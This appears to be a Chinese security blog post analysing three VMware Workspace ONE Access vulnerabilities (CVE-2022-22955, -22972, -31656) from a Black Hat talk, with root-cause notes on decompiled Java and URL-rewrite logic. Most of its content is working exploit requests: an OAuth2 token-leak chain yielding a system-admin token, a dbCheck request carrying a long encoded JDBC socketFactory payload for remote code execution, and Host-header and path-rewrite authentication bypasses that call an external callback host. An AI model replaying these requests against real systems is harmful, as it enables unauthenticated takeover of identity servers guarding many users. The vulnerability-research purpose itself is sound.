原创 | VMWare Workspace ONE Access Auth Bypass
点击蓝字
关注我们
Single Sign On (SSO) has become the dominant authentication scheme to login to several related, yet independent, software systems. At the core of this are the identity providers (IdP). Their role is to perform credential verification and to supply a signed token that service providers (SP) can consume for access control. On the other hand, when an application requests resources on behalf of a user and they’re granted, then an authorization request is made to an authorization server (AS). The AS exchanges a code for a token which is presented to a resource server (RS) and the requested resources are consumed by the requesting application. Whilst OAuth2 handles authorization, and SAML handles authentication and as such Identity and Access Management (IAM) solutions have become very popular in the enterprise environment to handle both use cases. What if IAM solutions are vulnerable to critical remote attacks? They need to be exposed on the internet, trusted to guard identities and facilitate access to hundreds if not thousands of users and applications. To begin with, I will cover the foundational use-case for IAM solutions and some past in the wild attacks (ITW) attacks with the extent of their impact. Continuing, I will present the approach I took with the audit including the challenges and pitfalls that I was faced with and how I overcame them. The result concluding with an unauthenticated remote code execution as root by chaining multiple vulnerabilities on a very popular IAM solution used by several Fortune 500 companies and government organizations. The vulnerabilities will be discussed in detail including novel exploitation strategies for bypassing strict outbound network access. Finally, a live demo will be presented with a release of functional exploit code so that penetration testers and network administrators can validate and remediate these critical findings.
说人话!(大致意思)
单点登录(SSO)是目前的主流认证方案,其大致原理是身份提供者(IdP)。他们的作用是执行凭证验证,并提供一个签名的令牌,服务提供者(SP)可以使用该令牌进行访问控制。然后引出了作者对OAuth2的认证研究,在表达了一下他研究成果的危害性,重要性。
借用作者的PPT里原图,IAM是指 Identity 认证 和 Access 授权 管理。这里就简单提一下IAM的概念,具体可以看作者PPT内容。
From OAuth2 Bypass To RCE CVE-2022-22955
POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/acs HTTP/1.1
User-Agent: Java/11
Host: 192.168.24.128
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 0
第二步将第一步response中的token复制作为第二步的body,获取密钥值(测试环境值为crIWLiwGBwG5UqfH8OeSLPqJdXyKTLGA)
POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
User-Agent: Java/11
Host: 192.168.24.128
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 168
eyJvdGEiOiI0OWQ1ZGQzZS04NTRlLTNhZTUtYjliNC1jNmY1YjU0NTI5YjA6cDdaZG5Ea0xpMTN6TkMzb25UMDVhTDdaYWFFSk95el
UiLCJ1cmwiOiJodHRwczovLzE5Mi4xNjguMjQuMTI4LyIsInRpZCI6IlRFU1QifQ==
第三步将第二步的获取到密钥作为第三步参数值,获取access_token
POST /SAAS/auth/oauthtoken HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Java/11
Host: 192.168.24.128
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 90
grant_type=client_credentials&client_id=acs&client_secret=crIWLiwGBwG5UqfH8OeSLPqJdXyKTLGA
{
"jti": "21d43615-df87-43f6-9c29-c08dc1ebe674",
"prn": "acs@TEST",
"domain": "System Domain",
"user_id": "4",
"auth_time": 1661842757,
"iss": "https://192.168.24.128/SAAS/auth",
"aud": "https://192.168.24.128/SAAS/auth/oauthtoken",
"ctx": "[{\"mtd\":\"urn:vmware:names:ac:classes:LocalPasswordAuth\",\"iat\":1661842757,\"id\":3,\"typ\":\"00000000-0000-0000-0000-000000000014\",\"idm\":true}]",
"scp": "system admin",
"idp": "0",
"eml": "OAuthClient_acs@noreply.com",
"cid": "acs",
"did": "",
"wid": "",
"rules": {
"expiry": 1662447557,
"rules": [
{
"name": null,
"disabled": false,
"description": null,
"resources": [
"*"
],
"actions": [
"*"
],
"conditions": null,
"advice": null
}
],
"link": null
},
"pid": "21d43615-df87-43f6-9c29-c08dc1ebe674",
"exp": 1662447557,
"iat": 1661842757,
"sub": "386f1db6-4f4b-4cf8-bb6c-ba2f7dd85907",
"prn_type": "SERVICE"
}
第四步将获取到access_token作为cookie,构造恶意请求并发送
POST /SAAS/API/1.0/REST/system/dbCheck HTTP/1.1
Cookie:
HZN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJqdGkiOiIyMWQ0MzYxNS1kZjg3LTQzZjYtOWMyOS1jMDhkYzFlYmU2Nz
QiLCJwcm4iOiJhY3NAVEVTVCIsImRvbWFpbiI6IlN5c3RlbSBEb21haW4iLCJ1c2VyX2lkIjoiNCIsImF1dGhfdGltZSI6MTY2M
Tg0Mjc1NywiaXNzIjoiaHR0cHM6Ly8xOTIuMTY4LjI0LjEyOC9TQUFTL2F1dGgiLCJhdWQiOiJodHRwczovLzE5Mi4xNjguMjQu
MTI4L1NBQVMvYXV0aC9vYXV0aHRva2VuIiwiY3R4IjoiW3tcIm10ZFwiOlwidXJuOnZtd2FyZTpuYW1lczphYzpjbGFzc2VzOkx
vY2FsUGFzc3dvcmRBdXRoXCIsXCJpYXRcIjoxNjYxODQyNzU3LFwiaWRcIjozLFwidHlwXCI6XCIwMDAwMDAwMC0wMDAwLTAwMD
AtMDAwMC0wMDAwMDAwMDAwMTRcIixcImlkbVwiOnRydWV9XSIsInNjcCI6InN5c3RlbSBhZG1pbiIsImlkcCI6IjAiLCJlbWwiO
iJPQXV0aENsaWVudF9hY3NAbm9yZXBseS5jb20iLCJjaWQiOiJhY3MiLCJkaWQiOiIiLCJ3aWQiOiIiLCJydWxlcyI6eyJleHBp
cnkiOjE2NjI0NDc1NTcsInJ1bGVzIjpbeyJuYW1lIjpudWxsLCJkaXNhYmxlZCI6ZmFsc2UsImRlc2NyaXB0aW9uIjpudWxsLCJ
yZXNvdXJjZXMiOlsiKiJdLCJhY3Rpb25zIjpbIioiXSwiY29uZGl0aW9ucyI6bnVsbCwiYWR2aWNlIjpudWxsfV0sImxpbmsiOm
51bGx9LCJwaWQiOiIyMWQ0MzYxNS1kZjg3LTQzZjYtOWMyOS1jMDhkYzFlYmU2NzQiLCJleHAiOjE2NjI0NDc1NTcsImlhdCI6M
TY2MTg0Mjc1Nywic3ViIjoiMzg2ZjFkYjYtNGY0Yi00Y2Y4LWJiNmMtYmEyZjdkZDg1OTA3IiwicHJuX3R5cGUiOiJTRVJWSUNF
In0.NEgQIpYnGZRjUG1OrwOs1sMVdBdumzJf0yIqmtzxwJnbfJlNDSASu8VgyElIc9byhkRV8h0IUsY_jnz_VZr0pnBWEg_do-
TbBwTWHsDLPQPpkEKSXicoX56m2Iu0neV5IixBdNUfbImHmSCHqI8j08R2nvAUtjiRQQRp5iPFr3BugNQslIYv5wLMoegZOuFCd
mfm-VrzusCZY9AG41R1xOMII5drJ73hBAk9_KxmCN9Znq2NCdXn2E8MK6pJ05DcR73eOIA14vAhN6OKwW5QjRn-
3H3yQc2M_rFfic8L3-o9-8QzEe4CwLPbmN5xxL1zF3fjpFguriG39JZS09MahQ
Content-Type: application/x-www-form-urlencoded
User-Agent: Java/11
Host: 192.168.24.128
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 4576
jdbcUrl=jdbc:postgresql://fCYhc9Bp/saas?
socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAAC7QAAAAIqOpr4c1H0VA
AAAAQE1RdixhGW49W7zJBEMllPgAAC5DZOFpIGuqCqGmI9bHabUd%252B%252BOj0jZScmr8PfQEgLXMIJQT9Ih6qG8I9IPn0D%
252F7Wx5JgPhMUXsqM20%252BVSp%252BmHXWq4GGAhcDAoEbqCEt7PzQN21wm0F2SbVYzF8qlChAg1HHX7i6DGvVKX1Z5OWOxK
Qf3qn4L%252BXf4McHAOii62v0zLn61TLtrV41sy5vkhpe92Y%252F1HYFUHpD3pZ4Uozot1xOdhCtnd%252BT74%252FkYg%25
2FEHLT4g%252BwOuKwi9RW5mc8bomRqfyXlZMpYqmgGXfqOQPnTrqyn6ch9pGgngfmXQA1Qf2FgTa2N9Tmdo5S8biygxBCZX3jP
26TltWmMYcWxJ87B0YDrU4SgspPn2VgfZteyoxAykR6DpSwoOUPdAFw5Pb%252FjHqC9DRNLvzv6mWOqn%252FZgjvJYu3WT8BO
yu%252Bdc8Eofaq7nPg33QvG0%252FZ7Lc1QlVkKWGr%252BHfUNwr%252F1Se%252FusYB2UYZ9zQm7NVb7uf7QsxF7W85QtjM
UQEN6tOHWpSGUrxwSYu9IQWQoXVtqaNIvNe42UrPfNIw3X5L3nZVcDkSt1OD7fneDCX4bVLNqYSntUyQ6K%252F%252FwGJvO8N
BciHwfcicRfRkRAsbOKJITN7aeNjrdCEAmYUlA9Vjfn2vnJCp4mW5CFJZlFAJOY92yPX1v8NkAxq9EErlSSA6HRG3u9LQzxWjzQ
9KOZBotFRFyr0RECPOf3eUdvlt1zlRZ8QfFj0iwM1U%252Bre72ckkhOxMvjP1vNChCuGmLQP%252FalC3MrKR3mr9aiZ%252Bo
gpCRT2M%252BXtIeqkQKUw9V25Tz6M88ODNHkjLzoPD6T9lBhvxCe1aLTh%252B4DYu4gHyy5xwQlwa79QDIg%252BZqGMjwOBg
QP2BHNOC9RNR84TtvuGB3wG2COxY5FUNv%252FIB79lu31cPVALDxE5V9O%252BG7HXGS%252BAIk0C8DVx7J8lsXvz4nX%252B
Sf3hCRnCVAxbSYRmeiuY4EuwDM7%252F2fXj3bqP97WWs4HvAg1v2%252FEuoGuCrmFw5vRTls7uRr2OumbPxjEJTg6%252Bo5M
SiNnBwGGA%252F%252FQUtcxNURXXHO4UApIW6enY617YuTbdhRO0U4jk2Q0jxUYrGcIWDNuEX%252Bx7bXkeuanQbeJa7nbat%
252Fv8BOnUZcjYXBRspxH23UGxlWldEv5%252FOyWNfN3PcfpiUuV1%252BsS9NEViEEXe8vmsSzbt619hb4snC%252BxbzGb6t
8ZB4pNVrDDdo6OvqAyY1HSLErnR%252F6jiJCvFlzbxCa3HDPcA4mWl5ttyONRENzZoVB%252BB21GxWQ%252Fkk3GyAhRqeylp
Y7MsjTd5WPN1axL8b5Bu9Yhj81bI1ucik1A%252F2peNYXVI9bNcYV4OHMCOrpuYVS%252BxqtEdndh92Kk7LA8DMt%252B6CBQ
YZF9g4PHJjoQbGMycVsoe9069K7TnuVX4fF8DKToWenQVGujcYKIylOo7esv3MDEDbR85TTvYhbQpj3%252BA4pbf8C%252BaEQ
FirvRq5DGrIxswdg1i%252B4uCcO9dbWQaPjPuXyXG9W7OfYngesuQQ8tqeIMz3M4HNWMy6E5fMgv4Z%252FD%252F2%252FtI7
p%252Bmq4bB%252BBXiNsp2Y%252FT1y06vZCcdF5Uxt197MDCC0WvlXHAInPztnW3hUd4VgKPZN19GK9JIQUGDLgom7MCDhEO7
EJArJNa1DFNKP%252B9P7ryEren6RIQs400Ozcu9kjdy0pfGYm8I2oMPl9AydThSTQg8kfFfELIcuC6uKGKe9qjfZgxJlmU5LLD
zsob7XooaFN1hbO7y7ioHH%252Fip8a2YNpxpqzENGR10aw1VE5JvxqI3iaQJSaHFBzE2fpJePCwxoDCHmYKzi79x8lu%252BYl
AZ1Z2WHWU7MWkkxpanSZGRYa7ulc%252B4dr5ASZbtyNa%252BNjZPlnlgJF4vKWpQKhubcny63grhXwHrhdfZSTbQiJeF01ee2
wMHcRKfNWzud7Yc34DWAm4ar8JLX3%252BDAKWjP0wI4lHgoc6HE7piO9NPMQyAQwE9tfOf414kYyatHviyJNa4jj0Ne6i%252B
MFp0YQBxMSgu9kGxtNzQ8Bwdl1LvWEPXD2EfrQFvI8iki40Wm67uAjWnZ4RIoDgt3VcBkYw%252FMlwI5wZK5Yg5mf8LU17%252
B06tmP2WZpNK6MeFFcuy5SqfLFX%252Bp%252BZswjwI7M8ZI1Qc9yhuyWoLSOdyYzjCZXOCEmsj46%252BFrDDaBAXj8o6kl94
wzy2Q%252B4tPUudNSIVkMR%252B%252B6SzXR%252Bdrnn5yVjdIYET1JUAKMnL1mcKc1gF4ew4dI9JLYW25eZDqC111IaAfRU
KKLuepE7LoNqioenxrqIVTRHs4dXgJt8XaezyngyIwHtyCxKgycvU%252B1Z3IAm12lK24aYcRAqF4cV89YHzeSHHLRv9ULffFO
V65Q6C4WzqVpJnoJn%252B49DtzPnoICQ2ks9hVM%252F1jEDjfA4KZKpNwY4FcuhzM4CwTbjw1oirdIrqeNU9a0n2RoRM6OsQ9
a%252FGJsgji6kaUvXEeOe3gSPLwAywU7GmDxjqyMBd1djZNhn8mn3fxiNM9xPqxQe%252Fx026%252BkQ6xIg5GIl8p22BQ7mW
1kTQoU7sHJ44RXB0GNtZ1tGGOpPeqI7IYyS5ic%252B8NEnUSqZdIAjKTz5Q5NuXmCzeAVEVgtzlUBzUn45z6IGSV%252F99uy9
IGlzNqWLJvPxIZ5k%252FXA6ilqrVSlZX6iOpbGeQEBhZNFKSfh5GKGDsLHIiCzOscIFcFvBhaBc9THQapOMkiCmjd0qiAMrM%2
52BtM8EkwGZVNtlAMV9YEe48NaLXfT2QTG15aECZyJEWK7QwwM%252BWuojX%252FHMzyKM4%252FQab8ByyyW7VIi81y6Q2G4M
Tp0SqW9PbDYHMl1gPpdc8eOC3DVHdfoeiOygD%252FcDLd0Oxyf4J9KnN5B02mrbMQAb8j2B8AlglqsFL6iqnrHTyFRay1qKSPK
RNLAMWrS25jRFtTpJXKRH4V9ovkNqh8A404KqG3w4T1loTLzHOcwCvU9p6kIDxFDnmGxwhmE2G3X3h2fDo%252B5kU7Vvs9qgwn
6Cfpdr0VZBY7lYtQATefnPTi1kTyOz3ClifqpBBfFhXtBDNxZv34z%252BDckpNL8YbiAXP%252Frslkx6UunUJQvfEkJ96m4fC
ZFIKnERdAW70oU%252FKlqX4UD3dGUHO%252BpvaE7edFlLco1irRJWQfnvgJXYxaWtGXm9DwuDflf2ipTZb2nEbGs6Y3FkKi57
Ar6O11CxarFg8It1pj9I6uRvu889MPTZjWeejGnusQBVTqYhspXLRAqed1EF%252BV6QEJ1MQNjhl3uyVFVu0ui1aXUTnZ7LC0u
S1V2al2BZvzAfWDUDirJYXe3NomnXsLKj0l0fGsltU2XIgZlj4zDdGywc3YSZsudnid8v6JFdkgfRoG92qAZx99jAlufZEFFVj9
sxzRrSd3RpvYu3sHOiqQD0iQxqIFg%252FvtYEcqKGBk%252FpPdO65M8qEXJDuRVva4NVHBOt5x60pFDsyWp2p4nFtrjfMFjlu
Sxq8iOwnCsiCHzxxN2RwwNIzgUFLJDg%252BtrLcHNptYbCq2p8kRTo7%252BtZ97LBUm9WVpXuXQR31AGkiptzJGhYXZMvXaWe
HQa8hVuAvHyBc9X5%252B9xOab%252BVq2U6zy3YJji6ieOj4PC1JKKiX0VbUmJOpVBA9lH77etM1KJOS%252F1wUpDorG%252B
WZc2evUtTP4eiOAhUP3UI1a1iXeiRD8qX9tCYsyP8AYS0QVwPHizT2p5sJ8xsbMwb5iBE42WvupGo1RK1M1NBFxdFbmgW76iTKa
lo8n1Q9HrfJprAH49zTYgNAtFMRwmEWJdJ%252BBGmzVFLwL5J%252FngN2JwP1c%252BVgWrJuZ6Mllqu774%252BdDEpRXiXb
%252BwmI%252B6Gou4kDNdTbLjEeGd1li0akHxl7oqt4SAMC0wzoR7CqwXzbCFLZ54yWTOLl5GXcaO2FEdVqTGMz3iP1WFtQWzh
6P90cYroK3KLnscsKKg72%252Fj8y0YtG5RHKbF3kQqVrFA%253D%253D&dbUsername=&dbPassword
/SAAS/API/1.0/REST/oauth2/activate 会根据传入的activationCode返回密钥
Authentication Bypass To RCE CVE-2022-22972
修改Host的值,如果为域名不存在则会返回登录页面
POST /SAAS/auth/login/embeddedauthbroker/callback HTTP/1.1
Host: asdasd:1090
Cookie: LOGIN_XSRF=CFtnkwKqzk6xgmu; JSESSIONID=06AA1F963FB620BA69EA3D5A40F501DD
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://192.168.24.128/SAAS/auth/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 1470
Origin: https://192.168.24.128
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
protected_state=eyJzaWciOiJ7XCJzaWduYXR1cmVCNjRcIjpcIkRaY1JhQ0o4MHJMcjcrNW5teTFZVG1CaDM3bk1SSXdFa1NHWG
xhY0JRTVNPOWNwMjJuOURiUjQ3OVZEbVlZQlhBS253MldjUmNEUlBrWFcwWmVHUkt0QnVNMkJzeGlqOU1tVkJTRzhkNXFNR09ZVm5l
N1RWRVpDSXFGc3RQczBEdHovOFpWOGpoYU9WZkxEd241cWxOVExFOHZDeUhrQzlmcUJpbzNPYmxpbGI1Q1k1blFxMSthV3JDQlRvVF
lZbWZUYTRXQlIycjI5OTN6UjRYNG84SmZlUFRGc3Q2bUZGZXNEa0cwaW5xekxvSElMVzFMbzdxME1KOXJjUWtFNndqWlBYZjFlRjRm
Qi8wZFJSZTdLQkQ3RW9jTk05djJpOFlEbGNSV0IyZm10cnppeEloM3IrWnltc3o0M3U4ZFhVYWFRUUx2S2pTS2VEam93NVdpMWZxRW
M2MHFkTGc1anh2alBadDNHVDRzZkhxWDNTSkh1Qm54aCtTS2wzMHBVV0F4QWV0dWFqcFNNWGs1UzZuQTUxTUhYNitwbTNxb3pqb20z
YnU2bHdZQnhMSGk1UWtnSnRPeEx0Q0JVcjlzREpBRlZGYmNZQXhRM0JoQ1BWNmF5NUtBdnl2Zmt6eFA1MEtaM1c2RXdScWNNeFZJYn
BmRkwrOGlPaEh3TzZhaC8xb1FIT09DdE8rdmhoNmlVclVGQ29LcCtsdnZUMmxWTXV4WTF1TEgrb3kvcU1nRCtRSkh5dWpBOCs0TDBp
bWlBZXc5UVJzUDdFT3Y3YU9xeS9oU2NhT1BiUVhyRmt2YWJWUkJOaUw2YUpKYk5rRFlCSHg0S0o4OU9XWGE4MElpT1JaeFFyWTgvNm
5PZVh0Q2xFRHNZN2ZreitiN2dCeVNjQnZhY2xsNzdZRWh3PVwiLFwiYWxnb3JpdGhtXCI6XCJTSEEyNTZ3aXRoUlNBXCIsXCJrZXlS
ZWZcIjpcImRiMjA5OWJmLWFmNDYtNGU0MC05YjAzLThhMDc0ZTZiNjcyMVwiLFwiZGF0YUI2NFwiOm51bGx9IiwidmFsIjoie1wiYX
V0aG5Db250ZXh0XCI6XCJcIixcImRvbWFpblwiOlwiU3lzdGVtIERvbWFpblwiLFwidXNlck5hbWVUZXh0RmllbGRSZWFkb25seVwi
OlwiZmFsc2VcIixcIm51bUF0dGVtcHRlZFwiOlwiMFwifSJ9&userstore=System+Domain&username=admin&password=asd&u
serstoreDisplay=System+Domain&horizonRelayState=e798ec60-1a93-4779-ad37-
d8156260d3d2&stickyConnectorId=&action=signIn&LOGIN_XSRF=CFtnkwKqzk6xgmu
如果host的域名旗下路径
/SAAS/API/1.0/REST/auth/local/login能够被正常解析,则会返回token进而绕过登录认证。这里使用正常的dnslog平台不行,可以使用burp自带的dnslog或者构造一个页面,状态码返回200即可。
grep -irn "asdasd" -A 200 -B 10
/SAAS/auth/login/embeddedauthbroker/callback接口对应代码
/embeddedauthadapters/local-password-auth-adapter-0.1.jar!/com/vmware/horizon/adapters/local/LocalPasswordAuthAdapter.class
getLocalUrl方法中调用**request.getServerName(), request.getServerPort()**获取主机和端口,两个方法是从Host获取主机和端口。如果主机为域名则为域名,IP则为IP。
private String getLocalUrl(HttpServletRequest request) {
if (null == request) {
return null;
} else {
try {
return (new URL(SSLConst.HTTPS, request.getServerName(), request.getServerPort(), request.getContextPath() + "/API/1.0/REST/auth/local/login")).toString();
} catch (MalformedURLException var3) {
log.error("Failed to create URL: " + var3.getMessage(), var3);
return null;
}
}
}
最终获取到url值为 https://{host}:{port}/SAAS/API/1.0/REST/auth/local/login ,然后会调用authenticate方法进行认证。
/embeddedauthadapters/local-password-auth-adapter-0.1.jar!/com/vmware/horizon/adapters/local/LocalPasswordService.class 的authenticate方法会请求传入的URL,如果 返回状态码为200就返回true ,认证成功。
POST /SAAS/t/_/;/auth/login/embeddedauthbroker/callback HTTP/1.1
Host: 7z7plqibnrvcxadz7wpfrqeq3h97xw.oastify.com
Cookie: LOGIN_XSRF=aJJ4le9kzKf9ZM9; JSESSIONID=A4DBC3EBD4467C9BC7E3F65C0403674B
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1472
Origin: https://www.test.com
Referer: https://www.test.com/SAAS/auth/login/embeddedauthbroker/callback
Connection: close
protected_state=eyJzaWciOiJ7XCJzaWduYXR1cmVCNjRcIjpcIloxRHhvMU9vd0RQakFNdy9hQ1c0M0ZmSmNpdXNUQnFUMEppV1
J1V0E0RkVVdEJObEJmem91eDdRUzJ3bGJPeXhXSW5yRmZVT2FLYWgwb3VGNkxPN0xiMStFTTFUWGUzZW5BamlkdnN1UDVQZmRFdkxh
dWwreEk1TFFybWVISG5ISEk0OXk3Q1prTEtGSis0c3N3SWlzTFg5bkMxWjJLcW9rck9CSzNPYmJ2U09Oeko3NFJva3creWJNSk5ma3
M3R21zeE5KVDNydFZLVmVRV0o1U2RUTStNKzJ1bWlRd1JyREtWdGxDc0dLZ2xKa3ZFVldJZXRYN0tYLzVVOEZXa2c1UTYrN0xsQjhM
cXBRdklaK05KOHlJRTZRMDY4ejJSR2NUZG9JUU1Zc01oV2lNSVV0dHdKUWY2MGduUHliaHQ0Zm13Z2wxVlJPMGwySHNWRW0vMTYzbm
Ntd3Bjd2s4b0VpQ21yME9tekFrL0JxWU5lTlBqTUdxRU54T3pBdUdISGlhZVlvbTRCR25JRjkwRko5MVMyR3dWNkM0L3NKWmRUc3g2
YlpJN2hIeVZIM0FpVXdObzlwSmwxcllZOUZxUTNINzlBN0t2SzM5RDdoRldDR3duVmphaHFXL1VSSmNMSUFBMCtNZzJ6NmMxdUNwbU
x4SEtRT3NuQTkzSEt4dlRpNkY1eGJRb1hrcWFLQnZuNEkxZHdKS1JpQ1RNbDRSckJlZ3V0bTI1NGJoNFZMZ0VQU01KYUlWc1YyL1VF
U0RRWWMzbEwvaFFJWHpTRllQY2RSVDd0Z2JOSUM0Q3JDb0VWRmRuZEZMUjBKSnFGU28yTUJ4ZTBZNEwxYi9zc0ttZzMra3VQMFRHY2
tWZFNsU2xzYXFnckRxTWFmVkhtR0RTMlJWb0RoNG5zY3NZPVwiLFwiYWxnb3JpdGhtXCI6XCJTSEEyNTZ3aXRoUlNBXCIsXCJrZXlS
ZWZcIjpcImRiMjA5OWJmLWFmNDYtNGU0MC05YjAzLThhMDc0ZTZiNjcyMVwiLFwiZGF0YUI2NFwiOm51bGx9IiwidmFsIjoie1wiYX
V0aG5Db250ZXh0XCI6XCJcIixcImRvbWFpblwiOlwiU3lzdGVtIERvbWFpblwiLFwidXNlck5hbWVUZXh0RmllbGRSZWFkb25seVwi
OlwiZmFsc2VcIixcIm51bUF0dGVtcHRlZFwiOlwiMlwifSJ9&userstore=System+Domain&username=admin&password=admin
&userstoreDisplay=System+Domain&horizonRelayState=d7c0110d-cd93-4cd5-809b-
f20f0befb36e&stickyConnectorId=&action=signIn&LOGIN_XSRF=aJJ4le9kzKf9ZM9
在跳转到/ROOT/WEB-INF/lib/urlrewritefilter-4.0.4.jar!/org/tuckey/web/filters/urlrewrite/NormalRule.class的Path /t/_/;/auth/login/embeddedauthbroker/callback这里经过正则匹配之后就变成了
/;/auth/login/embeddedauthbroker/callback。
代码匹配实现逻辑demo
public static void main( String[] args ) throws Exception {
String regx = "^/t/([^/]*)($|/)(((?!META-INF|WEB-INF).*))$";
String content = "/t/_/;/auth/login/embeddedauthbroker/callback";
Pattern pattern = Pattern.compile(regx);
Matcher matcher = pattern.matcher(content);
matcher.find();
for (int i = 0; i < matcher.groupCount(); i++) {
System.out.println("group id["+i+"]: " + matcher.group(i));
}
}
下一步跳转到/ROOT/WEB-INF/lib/urlrewritefilter-4.0.4.jar!/org/tuckey/web/filters/urlrewrite/RuleExecutionOutput.class,将url进行替换。并同时调用setRedirect方法,设置为true。
handlerRewrite方法调用doRewrite方法到/SAAS/WEB-INF/lib/urlrewritefilter-4.0.4.jar!/org/tuckey/web/filters/urlrewrite/NormalRewrittenUrl.class
这里isForward是前面掉用了etRedirect方法,设置为true。forward转发之后不再继续走filter,跳过了HostHeaderFilter过滤,并且经过getRequestDispatcher之后servletPath变为/auth,分号被去除,完美绕过。后续漏洞逻辑是Authentication Bypass RCE CVE-2022-22972。至于分号为什么会去除,这里是tomcat的getRequestDispatcher方法特性。
tomcat的getRequestDispatcher方法特性,会取第一个/后面的路径作为servletPath。
From OAuth2 Bypass To RCE CVE-2022-22955 Authentication Bypass To RCE CVE-2022-22972 UrlRewriteFilter Bypass To RCE CVE-2022-31656
其中 CVE-2022-22955 是议题中重点内容,CVE-2022-22972 和 CVE-2022-31656 是个人补充的两个漏洞,个人感觉后者两个漏洞相比前者漏洞更有意思一点。
https://i.blackhat.com/USA-22/Wednesday/US-22-Seeley-IAM-who-I-say-IAM.pdf
往期推荐